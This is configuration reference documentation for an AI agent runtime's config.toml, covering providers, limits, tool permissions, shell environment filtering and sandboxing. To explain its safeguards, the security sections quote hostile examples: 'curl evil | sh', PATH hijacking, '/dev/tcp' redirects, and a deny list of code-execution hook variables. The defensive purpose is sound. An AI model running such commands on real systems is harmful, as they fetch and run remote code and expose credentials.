Configuration (config.toml)
Machine-wide settings live in ~/.leviath/config.toml. lev setup writes it for you,
and everything below is optional: an install with one provider key works with no other key set.
This page is the exhaustive list. The concept pages explain why each knob exists; this one is where you look up the exact name, type, and default. The same contract ships machine-readable as a JSON schema with a commented example file.
Note
The daemon watches this file and reloads it when it changes, so an edit takes effect on the
next lev run with no restart. Boot-time wiring (providers, MCP connections, telemetry
exporters) still needs lev daemon restart. See the daemon docs.
Top level
default_provider = "anthropic" # provider used when a blueprint names none
default_model = "claude-sonnet-4-5" # optional model override
agent_paths = ["~/projects/my-agents"] # extra directories scanned for blueprints
openrouter_api_key = "sk-or-..." # env fallback: OPENROUTER_API_KEY
ollama_base_url = "http://localhost:11434" # env fallback: OLLAMA_HOST
request_timeout_secs = 900 # per-request HTTP timeout to a provider
taint_tracking = false # global master switch, see below
batch_tool_hint = true # global master switch, see below
shell_hint = true # global master switch, see below| Key | Type | Default | Notes |
|---|---|---|---|
default_provider |
string | "anthropic" |
|
default_model |
string | unset | |
agent_paths |
array of paths | [] |
Searched in addition to ~/.leviath/agents |
openrouter_api_key |
string | unset | Falls back to OPENROUTER_API_KEY |
ollama_base_url |
string | unset | Falls back to OLLAMA_HOST, then http://localhost:11434 |
request_timeout_secs |
integer | unset | Unset means the 15 minute ceiling. A stage's [stages.<name>.model] request_timeout_secs wins for that stage |
taint_tracking |
bool | false |
Turns on taint tracking for every agent. With it off, an agent can still opt in itself |
batch_tool_hint |
bool | true |
Adds a short hint telling the model it may batch independent tool calls |
shell_hint |
bool | true |
Adds a short hint describing the shell a stage will get. Only says anything on Windows today |
All three of those cascade: a stage setting beats an agent setting, which beats this file.
System-prompt hints
batch_tool_hint and shell_hint are the two hints Leviath writes into a stage's system prompt on
its own. Both are on by default, both cascade stage over agent over this file, and both sit at the
front of the cacheable prefix so they cost nothing after the first call:
# config.toml: off for this machine
shell_hint = false# a blueprint: back on for this one agent, off for one stage of it
[agent]
shell_hint = true
[stages.plan]
shell_hint = falseshell_hint only reaches a stage that advertises the shell tool, and only on a platform whose
shell needs explaining. On Linux and macOS it is inert whatever you set it to. See
Built-in tools for what it says on Windows.
[providers]
Provider credentials. Every key falls back to the matching environment variable, so you can leave the file empty in CI.
[providers]
anthropic_api_key = "sk-ant-..." # env fallback: ANTHROPIC_API_KEY
openai_api_key = "sk-..." # env fallback: OPENAI_API_KEY
google_api_key = "..." # env fallback: GOOGLE_API_KEY
claude_code_enabled = false # opt in to the Claude Code CLI transport
claude_code_binary = "/usr/local/bin/claude" # unset resolves `claude` on PATH
claude_code_effort = "medium" # low | medium | high | xhigh | max
anthropic_cache_ttl = "5m" # 5m (default) | 1h
fallback_order = ["anthropic/claude-sonnet-5", "openai/gpt-5.6-mini"]anthropic_cache_ttl is how long a cached prompt prefix survives. The default 5m is free; 1h
costs more to write and sends the beta header it needs. It is worth the write cost for a staged
agent. Stages routinely take longer than five minutes, especially when one is running scripts. A
prefix cached at the start of a run is then cold by the time a later stage could have reused it.
claude_code_enabled is off unless you turn it on. See
Providers for the terms note that goes with it.
fallback_order is where a run goes when the provider it is using stops being usable: out of
credits, or a rejected key. Entries are provider/model pairs, best first, tried after the stage's
own model list and your default model. One naming a provider you have not configured is skipped.
It is read per run, so a change takes effect on the next lev run with no restart. See
Providers.
[limits]
[limits]
max_concurrent_inferences = 8 # in-flight requests per model without its own pool entry
max_concurrent_tools = 8 # agents whose tool batches may run at once, daemon-wide
default_max_iterations = 50 # fallback cap for a stage that sets none
exact_token_counting = false
script_shell_timeout_secs = 60
mcp_idle_disconnect_secs = 60 # disconnect an MCP server no agent has used for this long
stall_timeout_secs = 60 # fail a run that can never dispatch
dead_cycles_before_relief = 10 # widen the tool lane after this long going nowhere
finished_retention_secs = 300 # keep a finished run in `lev ps` this long
wedge_timeout_secs = 0 # fail a run nothing can reach any more; 0 is off
provider_failures_before_open = 3 # pull a provider after this many failures in a row
provider_circuit_cooldown_secs = 300 # how long before it is tried again
interaction_timeout_secs = 3600 # release a prompt nobody answered
inference_retry_attempts = 4 # tries per inference, the first one included
inference_retry_base_ms = 1000 # first retry wait for an ordinary blip; it doubles
max_tool_call_write_bytes = 2147483648 # 2 GiB; delete the line for no limit
max_run_write_bytes = 10737418240 # 10 GiB; delete the line for no limit| Key | Default | Notes |
|---|---|---|
max_concurrent_inferences |
8 |
The inference pool cap, per model |
max_concurrent_tools |
8 |
Size of the shared tool worker pool. Clamped to at least 1 |
default_max_iterations |
50 |
A stage's own max_iterations always wins |
exact_token_counting |
false |
Count each request exactly before sending it. See below |
script_shell_timeout_secs |
60 |
Cap on a Rhai script tool's shell() host call |
mcp_idle_disconnect_secs |
60 |
Disconnect an MCP server no agent has used for this long. It reconnects on next use |
stall_timeout_secs |
60 |
Fail a run that can never dispatch. See below |
dead_cycles_before_relief |
10 |
30-second cycles with a full tool lane and nothing moving before the lane widens. 0 never widens it |
finished_retention_secs |
300 |
How long a finished run stays in lev ps. See below |
wedge_timeout_secs |
0 (off) |
Fail a run nothing can reach any more. See below |
provider_failures_before_open |
3 |
Failures in a row before a provider is pulled. See below |
provider_circuit_cooldown_secs |
300 |
How long a pulled provider waits before one request tests it. A success restores it, a failure restarts the wait |
interaction_timeout_secs |
3600 |
How long a prompt may go unanswered. See below |
inference_retry_attempts |
4 |
Tries per inference, the first included. See below |
inference_retry_base_ms |
1000 |
First retry wait for an ordinary blip, doubling each retry. See below |
max_tool_call_write_bytes |
unset | Most one tool call may write. See below |
max_run_write_bytes |
unset | Most a whole run may write. See below |
Eight of those need more than a table cell.
exact_token_counting measures each assembled request before sending it and refuses one that
would overflow the window. On providers with a remote counting endpoint that costs a network round
trip per inference, so it is off by default.
stall_timeout_secs only fires for something the runtime cannot resolve on its own. Today that
means a stage whose provider is not configured: the run is ready to work and has nowhere to send the
request. Waiting for a busy model's pool is ordinary backpressure and is never failed, however long
it takes. 0 waits forever.
finished_retention_secs keeps a run visible after it ends, so a script polling on an interval
can see how it ended rather than finding it gone. 0 drops it immediately. The record is held in
memory, so a daemon restart clears it whatever you set.
wedge_timeout_secs fails a run that is sitting in a state no part of the engine can reach,
rather than leaving it reported as running. A slow run never trips it: an agent waiting on the
model, a tool, its sub-agents, or a person is exempt however long it takes. It is off
by default because it fails runs, and that should be your decision. 300 is sensible if something
outside Leviath is tracking your slots. See External work queues.
provider_failures_before_open counts failures only you can fix, such as an exhausted account
or a rejected key, before that provider is taken out of service for every run. Three rather than one,
because a single payment error can just be one oversized request. 0 disables it and leaves per-run
failover to cope alone.
inference_retry_attempts and inference_retry_base_ms set how hard a failed model call
is retried before the agent is failed and its finished work is thrown away. Only a transient
failure is retried at all: a reset connection, a timeout, a 429, a 5xx. A rejected key or an
over-long request fails on the first answer, because the second would be the same.
There are two schedules, and only the blip one is configurable. An ordinary blip waits
inference_retry_base_ms and doubles, so the default four attempts are 1s, 2s, 4s. A capacity
refusal - a 429, or Anthropic's 529 "overloaded" - waits 15s, 30s, then 60s per further attempt
instead, because an overload window lasts minutes and a second of waiting only buys another refusal.
When the provider sends a Retry-After, that answer wins over both, capped at a minute.
Raising inference_retry_attempts is therefore how a run rides out a longer outage: 6 gives a
capacity failure about four minutes of waiting rather than about one and a half. Whatever you set,
the retries of a single request sleep at most five minutes in total, and the request itself is
still bounded by its stage's request_timeout_secs, so a run can never wait indefinitely.
interaction_timeout_secs puts a deadline on any prompt that waits on a person: ask_user_*,
tool approvals, taint gates, and interaction points. When it expires the daemon resolves the prompt
and lets the run continue. An expiry denies an approval and tells the model no answer came. It
never counts as consent. 0 waits indefinitely. See
when nobody answers.
max_tool_call_write_bytes and max_run_write_bytes bound how much an agent puts on disk.
Both are unset in code and written by lev setup, which is the unusual part and is deliberate.
How much an agent should be allowed to write depends on what you are doing with it, so Leviath
imposes nothing on a config it did not write. A fresh install gets concrete numbers here, where you
can see them and delete the line to remove the limit.
The incident behind them was a single shell call appending in a loop until the 60-second timeout. That put about 14 GB on disk from one call that looked ordinary, and it repeated until the disk was full.
They work differently because they have to. write_file and edit_file carry their content as an
argument, so an oversized one is refused before a byte lands. A shell redirect does not: those bytes
go from the shell to the file without passing through Leviath, so the target is measured after the
call. That stops the call after the one that overran, not the one that did.
Running out of disk is separate and not configurable. Leviath refuses any write that would leave
under a gigabyte free, whatever these two say and whatever --yolo says, because filling the disk
harms every other process on the machine rather than just the run. A filesystem whose free space
cannot be read is treated as unknown and allowed, because a guard that cannot measure has nothing to
say. The two ceilings above still apply to it.
[security]
Machine-wide switches that are not part of the per-tool permission cascade.
[security]
allowed_workdirs = [] # workdir roots lev run accepts without a confirm prompt
allow_seed_commands = true
allow_local_network = false
allow_env_vars = ["MY_PROVIDER_KEY"]
allow_blueprint_read_paths = false
allow_blueprint_safe_commands = false
allow_blueprint_permissions = false
shell_env = "filtered" # filtered | strict | custom | inherit
shell_env_withhold = [] # names withheld under shell_env = "custom"
read_paths = ["~/.leviath/runs", "glob:~/design-docs/**"]
credential_store = "file" # file | keychain| Key | Default | Notes |
|---|---|---|
allowed_workdirs |
[] |
Directories a run's workdir may sit under without being confirmed. See below |
allow_seed_commands |
true |
Whether a blueprint's seed = { command = "..." } regions may run at all. See below |
allow_local_network |
false |
Whether agent fetches may reach loopback, private, and link-local addresses. See below |
allow_env_vars |
[] |
Credential-shaped variable names a Rhai script may read through env_var(). Exact and case-insensitive, no wildcards |
allow_blueprint_read_paths |
false |
Honors every blueprint's [read_paths] as written. Prefer a per-agent grant for anything you did not author |
allow_blueprint_safe_commands |
false |
Honors every blueprint's [safe_commands] as written. Off, an installed agent cannot pre-approve its own shell |
allow_blueprint_permissions |
false |
Honors every blueprint's [tool_permissions], even above the built-in default. See below |
shell_env |
"filtered" |
Which of the daemon's environment variables a shell command inherits. See below |
shell_env_withhold |
[] |
The names shell_env = "custom" withholds. Ignored under every other mode |
read_paths |
[] |
Machine-wide read grants, which apply only where a blueprint declares the path too. See below |
credential_store |
"file" |
keychain moves secrets to the OS credential store. Run lev auth migrate after changing it |
Five of those need more than a table cell.
allowed_workdirs silences the confirm prompt for everything under a listed path. Left empty,
lev run asks only about the alarming cases: a home directory, or a filesystem root.
allow_seed_commands covers commands that run at spawn, before the first approval prompt.
Because there is nobody to ask at that moment, a seed command also has to be covered by
[safe_commands]. --no-seed-commands refuses seed commands for one run.
allow_local_network is off by default. Off, an agent's fetches cannot reach cloud metadata
endpoints, your own lev serve, or anything else on your LAN.
allow_blueprint_permissions off still lets a blueprint pre-approve web_search and
web_fetch. Anything else is clamped to the built-in default. To grant one tool to one agent
instead, name it under [agent_tool_permissions.<agent>].
read_paths opens nothing on its own. A grant applies only to a path the blueprint also
declares, so both halves have to name it.
Grant entries (here and in [agent_read_paths]) take three forms: an exact path, which grants its
subtree; glob: patterns; and regex: patterns, auto-anchored. Both patterns are matched against
the symlink-resolved real path and are written with / on every OS. ~/ expands to your home, and
a relative entry resolves against the run's workdir. Full walkthrough in
Security.
[agent_read_paths.<agent>]
Per-agent read grants, the itemized counterpart of allow_blueprint_read_paths.
[agent_read_paths.cto]
allow = ["~/.leviath/runs", "glob:~/design-docs/**"]An agent's declarations mean nothing until one of these grants lands, so lev validate <agent>
checks each declared entry against this file and prints the block above, filled in, for whatever it
does not find. lev list and lev ps carry the same counts.
Tool permissions
[tool_permissions] sets a machine-wide ceiling. A blueprint's own [tool_permissions] may
tighten it but never loosen it. For a tool you have not listed here there is no ceiling to clamp
against, so a blueprint may raise it no higher than the built-in default. The exceptions are
web_search and web_fetch, which read-only research agents pre-approve. To go further, name the
tool under [agent_tool_permissions.<agent>], or set [security] allow_blueprint_permissions.
[tool_permissions]
shell = "ask" # allow | ask | deny
write_file = "ask"
read_file = "allow"[agent_tool_permissions.<agent>] is the escape hatch. Naming an agent replaces the global value
for it, and that becomes the ceiling its blueprint is clamped against.
[agent_tool_permissions.coder]
shell = "allow"Resolution order, narrowest first: launch flag, stage, agent, this file, built-in default. A launch
flag (--allow, --yolo) can turn ask into allow but can never lift a deny. The built-in
defaults are in Built-in tools.
What a shell command inherits
The daemon holds provider keys, LEVIATH_API_TOKEN, and whatever the person who started it had
exported. Handing all of that to every shell command means one env in tool output leaks the lot.
shell_env decides how much a shell tool call, a Rhai shell(), and a region's command seed
inherit. All three answer to the same setting, so a script with shell is not a way around the
env_var gate.
| Mode | What it withholds |
|---|---|
filtered (default) |
Credential-shaped names, except SSH_AUTH_SOCK, so git push over agent keys still works |
strict |
The same, plus SSH_AUTH_SOCK, AWS_PROFILE, AWS_REGION, KUBECONFIG, NETRC. See below |
custom |
Exactly the names in shell_env_withhold, and nothing inferred |
inherit |
Nothing |
strict breaks git push, aws and kubectl inside a shell tool until you list the names those
commands need. Toolchain variables pass through under every mode: PATH, HOME, CARGO_HOME,
JAVA_HOME, VIRTUAL_ENV, NVM_DIR, GOPATH, DOCKER_HOST, TERM. allow_env_vars hands a
specific name over under every mode too, so one list means one thing whichever surface asks.
[security]
shell_env = "custom"
shell_env_withhold = ["MY_INTERNAL_TOKEN", "LEGACY_CRED"]
allow_env_vars = ["MY_PROVIDER_KEY"]Be clear about what this buys. With cat and grep on the default safe list, a granted shell can
read ~/.leviath/config.toml and find the provider key anyway. This is defence in depth against
accidental leakage: an env in tool output, a printenv in a log, a subprocess that phones home.
It also closes the command-seed case, where nothing was ever approved. It is not a boundary. For
one, use [sandbox].
[safe_commands] and [agent_safe_commands.<agent>]
A permission is per tool name, which for the shell is a choice between a prompt on every ls and no
prompt on curl evil | sh. These entries are argument-scoped, and can only turn an ask into an
allow. They never lift a configured deny.
[safe_commands]
defaults = true # ship the read-only verb list
tools = ["read_files"]
shell = ["cargo test", "rg"]
[agent_safe_commands.coder]
shell = ["./gradlew", "env:GRADLE_OPTS"]
allow_blueprint = true # honour this agent's own [safe_commands]| Key | Default | Notes |
|---|---|---|
defaults |
true |
The shipped read-only verb list. See below |
tools |
[] |
Tools that never prompt whatever their arguments. Built-in names, or MCP names as advertised (server__tool) |
shell |
[] |
A program, optionally with the subcommand that narrows it. git status, never git or cargo test --lib. Also env:NAME, below |
allow_blueprint |
false |
Per-agent only. Honour that agent's own [safe_commands] block |
An entry on the defaults list has to clear one bar: under any flag, it must not be able to write a
file, run another program, or open a connection. That is why find, sed, awk, sort, xargs,
env and cargo are absent from it. It is also why uniq (it writes its second operand), tree
(-o) and rg (--pre runs a command) were taken off. Add any of them back by name if you want
them unprompted.
A shell entry covers the program it names with any arguments, so cat covers cat notes.md. It
does not cover a line that also runs something else: cat notes.md && curl evil still asks, because
curl is in neither the safe list nor any grant. lev approvals safe prints what is in effect and
which file put it there.
Environment assignments
A command line decides more than which program runs. PATH=/tmp/evil ls runs ls from a directory
of the caller's choosing, and export PATH=/tmp/evil; ls does the same a segment earlier, so naming
the program alone would let the safe list approve somebody else's binary. Each variable a line binds
is therefore its own key, spelled env:NAME:
[safe_commands]
shell = ["env:RUST_LOG", "env:CARGO_TERM_COLOR"]RUST_LOG=debug cargo test then needs cargo test and env:RUST_LOG, and granting one variable
grants exactly that one. There is no entry that covers every variable at once, and no program name
widens onto an env: key.
Two constructs are refused rather than keyed, because they install code to run at a point no program
name in the line describes: trap, and defining or aliasing a name with function, alias or
unalias. A line containing one of those prompts every time and cannot be pre-approved. set -euo pipefail is unaffected, since shell options change nothing about which program a name resolves to.
Redirects
echo x > file writes a file, and no tool name in the call says so. A shell call that redirects
output is therefore held to the write_file policy as well as the shell's own. Where write_file
is deny the call is refused, and it is never quieter than a write_file call would have been.
That is what stops a redirect being a spelling of write_file that a deny never sees.
Each target is also its own key, so an approval names what is being written:
Allow cat notes.md, >/tmp/report.txt for this runA write cannot be pre-approved in a config file the way a program can. [safe_commands] shell
rejects any entry beginning with >. A write is approved by a person, per target, or not at all.
Three shapes cost nothing, because they write nothing that outlives the call. The first is the
throwaway devices: /dev/null, /dev/stdout, /dev/stderr, /dev/tty and /dev/fd/*. The second
is a descriptor duplication such as 2>&1. The third is a read redirect, since a program that can
read a file could already read it. So cargo build > /dev/null 2>&1 and cat notes.md 2>/dev/null
are as quiet as they were.
Two shapes cannot be granted at all. A target that only exists after expansion (> $OUT) names a
different file on every run. Bash's > /dev/tcp/host/port is a socket rather than a file, which
makes the redirect a network channel no program name describes. Both prompt every time.
[tool_script_permissions]
Layer 3 of the permission model: what a Rhai script tool may do, independent of whether the tool
is visible or approved. Each key is allow, deny, or inherit.
[tool_script_permissions]
http_get = "inherit"
http_post = "inherit"
shell = "inherit"
read_file = "inherit"
write_file = "inherit"
env_var = "inherit"Every field defaults to inherit. For shell, read_file, and write_file, that defers to the
agent's own permission for the equivalent built-in and permits the call only when it resolves to
allow. For http_get, http_post, and env_var, which have no built-in equivalent, inherit
permits the call; the tool itself is still gated by the other three layers. See
Rhai tools.
[sandbox]
The machine-wide default sandbox for tool execution. An agent's or stage's own [sandbox]
overrides it, and the two resolve to the stronger of the pair, so an installed agent can tighten
its sandbox but never turn one off.
[sandbox]
kind = "container" # none | namespace | container
image = "debian:bookworm-slim"
engine = "docker" # docker | podman | nerdctl | finch; auto-detected when unset
network = true
mounts = ["/opt/toolchain:ro"]
persist = false
on_unavailable = "error" # error | warnUnset entirely, agents run tools on the host. Details in Security and sandboxing.
[rate_limits.<provider>]
Client-side limits enforced before every call, for the built-in providers (anthropic, openai,
google, openrouter).
[rate_limits.anthropic]
requests_per_minute = 50
tokens_per_minute = 40000This shapes request rate. [limits] max_concurrent_inferences bounds concurrency. Both apply.
Script providers configure theirs under [model_providers.<name>.rate_limit] instead.
Keys nothing reads
A key Leviath does not recognize is named at start-up rather than ignored, wherever it sits:
WARN config.toml has keys nothing reads; they are being ignored.
keys=limits.max_concurrent_tool, cache, providers.anthropic_cach_ttllev doctor reports the same list, for when that scrolls past. It also names a
[rate_limits.<provider>] entry whose provider does not exist, which is a case the key check cannot
see: that table takes any name, so a misspelled provider deserializes perfectly and throttles
nothing.
This is a warning, not an error. Every command reads config.toml, so one stale key should not take
the CLI down. A blueprint is different: it is authored and validated deliberately, and it fails on
an unknown key.
The one place unrecognized keys are kept: [model_providers.<name>] forwards anything it does not
recognize to the Rhai script, so those are read and never reported.
[model_capabilities.<model_id>]
Per-model corrections to the provider's built-in capability table. Useful for a local or self-hosted model Leviath does not know, or one whose window it has wrong.
Name only what you are changing. Every field is optional and an unnamed one keeps whatever the provider already reports for that model, so the common case is one line:
[model_capabilities."moonshotai/kimi-k3"]
max_context_tokens = 1048576A misspelled key is refused at load rather than ignored, so a typo cannot look like a working override. The full set, when you do want to state all of it:
[model_capabilities.my-local-llama]
supports_temperature = true
supports_streaming = true
supports_tools = true
supports_system_prompt = true
max_context_tokens = 32768
max_output_tokens = 4096lev models show <model> prints the values a run will actually use, with any correction already
applied.
Where a window comes from
Three sources, narrowest first:
- A
[model_capabilities]entry, if you wrote one. Your number is the last word, which is how you correct an API that is itself wrong. - What the provider's own API reports, read once when the daemon starts. OpenRouter fronts far more
models than any compiled table can name, so its
/modelsendpoint is the only current answer for most of them. - The table compiled into this build, and for an OpenRouter model it does not name, a conservative 128,000 tokens.
The reason this order matters is that region budgets are percentages of the window. A budget = "30%"
region on a model that really holds 1M tokens is 314,572 tokens if the window is known, and 38,400
if it fell back. Neither case raises an error. The agent evicts working material early and reads as
a worse model.
A provider that cannot be reached at start-up costs nothing but the fallback: Leviath warns, keeps the compiled table, and starts. It warns once per model when a run does land on the fallback, naming the line that fixes it.
Note
Region budgets written as percentages resolve against max_context_tokens, so a wrong window is
not cosmetic. A budget = "30%" region on a model assumed to be 128k gets 38 400 tokens instead
of the 314 572 a 1M-token model would give it. OpenRouter fronts far more models than any built-in
table names, so Leviath warns once per model when it falls back to a conservative window and tells
you the line to add here.
[model_providers.<name>]
Optional overrides for a Rhai script provider. A script activates by being
referenced and existing in ~/.leviath/providers/; this table only supplies extras.
[model_providers.groq]
script = "groq" # defaults to <name>.rhai
api_key = "..."
base_url = "https://api.groq.com/openai/v1"
[model_providers.groq.rate_limit]
requests_per_minute = 30
tokens_per_minute = 100000Any other key you add is forwarded verbatim to the script's initialize(config).
[[mcp_servers]]
MCP tool servers. lev mcp add writes these for you.
[[mcp_servers]]
name = "github"
transport = "http" # stdio | http; inferred from command/url when omitted
url = "https://api.example.com/mcp"
headers = { Authorization = "Bearer ${GITHUB_TOKEN}" }
[[mcp_servers]]
name = "local-fs"
transport = "stdio"
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
env = { LOG_LEVEL = "debug" }Values in headers and env may use ${VAR} to pull from the environment.
[nudge]
Machine-wide defaults for the empty-response nudge: the [System] message injected when a stage's
model replies with text before making any tool call.
[nudge]
enabled = true
max = 3
text = "You have tools available. Please use them to complete the task. Start by reading the relevant files in the working directory."All three keys are optional and each is overridden independently by an agent's [agent.nudge] or a
stage's [stages.<name>.nudge]. text supports {stage} and {regions} placeholders. Defaults
are on, max = 3, and a built-in message. See Nudging.
[title]
Auto-generated short run titles.
[title]
enabled = true
provider = "anthropic"
model = "claude-haiku-4-5-20251001"enabled defaults to true. provider and model fall back to the run's own first-stage
provider and model.
[webhook]
Delivery tuning for completion webhooks. Every field has a default, so the whole section can be omitted. The webhook URL itself is per-spawn, not configured here; see the API docs.
[webhook]
max_retries = 3 # retries after the first attempt; 0 disables retries
base_delay_ms = 500 # doubles per retry, capped at max_delay_ms
max_delay_ms = 30000
timeout_secs = 10 # per attempt[observability]
OpenTelemetry export, off by default. Full walkthrough in Observability.
[observability]
enabled = true
exporter = "otlp" # otlp | stdout | none
endpoint = "http://localhost:4318"
service_name = "leviath"endpoint falls back to OTEL_EXPORTER_OTLP_ENDPOINT, then http://localhost:4318. Leviath
exports OTLP over HTTP/protobuf, so a collector's gRPC port (4317) will not work.
service_name falls back to OTEL_SERVICE_NAME, then "leviath".
Environment variables
Leviath reads a .env file from the working directory unless LEVIATH_SKIP_DOTENV is set. Only
that one file, never a walk up the tree, and a variable you have already exported always wins.
A cloned repository is the working directory, so its .env is content somebody else wrote.
Credentials from it load normally, which is what the feature is for. The handful of names that
decide where configuration comes from, or what gets executed, are ignored instead, with a warning
naming them. That covers the LEVIATH_ namespace, PATH, SHELL, EDITOR, VISUAL, and the
LD_* and DYLD_* loader variables. It also covers the interpreter and tool hook variables that
turn a later command into code execution: BASH_ENV, GIT_SSH_COMMAND and the other GIT_* hooks,
PAGER, NODE_OPTIONS, PYTHONSTARTUP, PYTHONPATH, PERL5OPT, RUBYOPT, JAVA_TOOL_OPTIONS,
RUSTC_WRAPPER, and their kin. Without that, one line of LEVIATH_CONFIG_PATH in a repository you cloned would point
Leviath at a config file of its choosing, with its own MCP server commands and tool permissions.
Export those yourself if you meant them.
| Variable | Effect |
|---|---|
LEVIATH_HOME |
Redirects the whole data root. Every home-relative path honors it, so an isolated test or a second install works |
LEVIATH_CONFIG_PATH |
Path to an exact config file, bypassing the default location |
LEVIATH_SKIP_DOTENV |
Set to skip .env loading |
LEVIATH_RUNS_DIR |
Overrides where run directories are written |
LEVIATH_API_TOKEN |
Bearer token for lev serve. The server refuses to start without one |
LEVIATH_CONTROL_TIMEOUT_SECS |
Deadline for one control-socket request |
LEVIATH_DASHBOARD_LOG_PATH |
Overrides the dashboard log file |
LEVIATH_DUMP_REQUEST_DIR |
Writes each outgoing provider request to this directory, for debugging |
ANTHROPIC_API_KEY, OPENAI_API_KEY, GOOGLE_API_KEY, OPENROUTER_API_KEY |
Provider key fallbacks for [providers] |
OLLAMA_HOST |
Fallback for ollama_base_url |
OTEL_EXPORTER_OTLP_ENDPOINT, OTEL_SERVICE_NAME |
Fallbacks for [observability] |
EDITOR, VISUAL |
Editor used when a prompt opens one |
XDG_CONFIG_HOME |
Where policy.toml and scripted rules are looked up. Linux only |
Warning
A variable whose name looks like a credential is not readable by Rhai scripts through env_var()
unless you list it in [security] allow_env_vars. That closed an exfiltration path where a
two-line script tool could read a provider key and POST it elsewhere with no prompt.
Where things live on disk
Everything persistent sits under the data root, <home>/.leviath, which LEVIATH_HOME redirects.
| Path | Holds |
|---|---|
config.toml |
This file, created 0600 |
mcp-auth.json |
MCP OAuth tokens, created 0600 |
runs/ |
One directory per run: meta.json, context.json, stages.json, the run.lvr journal, per-stage logs |
agents/ |
Blueprints installed by lev add |
providers/ |
Drop-in Rhai provider scripts |
tools/ |
Drop-in Rhai tool scripts, offered to every agent |
dashboard.log |
lev dash diagnostics |
The daemon's control socket, its token, its pid file, and a build marker live here too.
policy.toml
Taint-gate policy lives in its own file, not in config.toml. It sits in your platform's config
directory, managed with lev policy:
| Platform | Path |
|---|---|
| macOS | ~/Library/Application Support/leviath/policy.toml |
| Linux | ~/.config/leviath/policy.toml, or $XDG_CONFIG_HOME/leviath/policy.toml when set |
| Windows | %APPDATA%\leviath\policy.toml |
[[allowlist]]
tool = "http_post"
to = ["https://hooks.internal/*"]
max_sensitivity = "internal" # public | internal | private
[mcp_overrides."github.create_issue"]
sensitivity = "internal"
direction = "outbound"
clearance = "internal"Scripted rules live as .rhai files in a rules/ directory beside policy.toml, so
~/Library/Application Support/leviath/rules/ on macOS and ~/.config/leviath/rules/ on Linux. See
Rhai tools and Security.